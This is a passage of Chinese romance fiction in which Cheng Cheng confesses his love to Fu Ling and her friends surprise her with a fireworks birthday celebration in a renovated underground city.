程承眨眨眼睛,胡扯道:“我东西忘拿了。”
他总共也没在地下之城待多久,哪来什么忘拿的东西?
伏苓看破不说破:“好吧。”
“伏苓。”程承轻声唤道。
伏苓嗯了一声。
程承抿了抿唇,深呼吸两下,道:“我真的很喜欢你。”
伏苓笑了一声:“嗯哼。”
程承转头,瞪着她:“嗯哼什么啊?”
“没什么啊。”伏苓说,“你怎么突然说这个?”
程承垂着眸,温热的指腹摁在伏苓锁骨处的黑绳上。他曾经佩戴在心口的戒指,如此被人珍视地挂在了同样的位置。
伏苓有些不明所以:“想什么呢?你不会要在这里做吧?我觉得不太好。”
程承:“……”
程承:“我什么时候……??”
他抓了抓自己的头发:“我没有。我就是总会觉得,自己对你不好。”
伏苓疑惑地看着他:“对我不好吗?”
程承抿着唇点头,他声音低沉,夜风吹过,像是要消散在风中:“有时候,我恨不得把我的一切都给你,想让所有人都爱你,我的家人,周围的朋友,曾经的伙伴,我希望所有人都爱你,陪着你……但,我又怕你忘记,我对你的爱跟他们的都不一样。”
伏苓笑着看他:“嗯,你占有欲比较强。”
这是盗用他在程母面前的原话了,程承耳尖又红了。
他轻咳一声:“反正就是,从今天起,会有很多很多人爱你,但你,别忘记我的,可以吗?”
侧边的店铺灯光一闪一灭,璀璨的灯光映在他漂亮的眸子里。
他一眨不眨地看着伏苓,像是缺乏安全感的小孩,渴望着对方用一句轻飘飘的言语俘获他全部的身心,好让自己将一整颗心都掏出来献给她。
伏苓招了招手,示意程承低头。
程承乖乖弯下腰,伏苓吻在他的额头。
夜风吹过的唇瓣冰凉,却依旧柔软。
她捧着他的脸,笑眼弯弯:“那你要,每天都提醒我一遍。”
程承覆上她的手背,温声道:“好。”
-
地下之城门外小木屋内还是一片漆黑。
伏苓指尖抵在把手上,微微顿住。
程承站在她身后,安静地注视着她的背影,没有说话。
伏苓轻轻勾唇,伸手推开了门。
内里也是一片黑暗,好像一个人都没有。
伏苓歪歪头。
猜错了?
下一瞬,什么东西爆裂的声音从地下之城的中心传来。
伏苓循声看去。
一道亮光划破黑暗,如转瞬即逝的流行,短暂地照亮了周围的场景,然后在最高处绽放。
五彩的光丝绘制成璀璨的花瓣,点燃了一方天底。
伏苓的眸子被印上流星的光芒。
砰——
不知从哪响起的手持烟花的响声,伏苓还没来得及看过去,四周就劈里啪啦地开始响起各种各样的爆裂之声。
火焰化作日光,在漫漫星光中炸开。
烟花的明明暗暗中,伏苓看见了一个个熟悉的面容。每一个人的脸上都带着久别重逢后的欣喜和怅然。
热闹之间,还能听到有人崩溃地痛骂:“谁提前放的礼炮??还差一分钟才零点!”
伏苓笑出了声。
烟花燃尽之时,一抹光辉自角落划过,路过之处灯光缓缓开启,如同展开了一幅七彩的画卷。
之前灰暗破败的房屋被修缮齐整,墙壁上画上了五颜六色的涂鸦,屋顶铺上泥沙,种上了大片大片的娇艳花朵。
路边也种了一排的秋英,侧边的空地被收拾成一个小花园,里面整整齐齐地摆着一堆桌子和烧烤的用具。
大眼睛从天花板上飞奔下来,在伏苓面前转了一圈展示自己眼皮上的花圈。
程承从背后稍稍靠近,低声道:“生日快乐。以后的每一天,我都想陪在你身边。”
他后面好像还说了什么,但声音已经淹没在其他人七嘴八舌的祝福中。
“生日快乐伏苓!!”
“生日快乐。”
“生日快乐!我们都在!”
……
伏苓笑着,却不知怎的落下泪来。
这大概是她这三百多年来,乃至往后数千、数万载,永远都不会忘记的一个生日。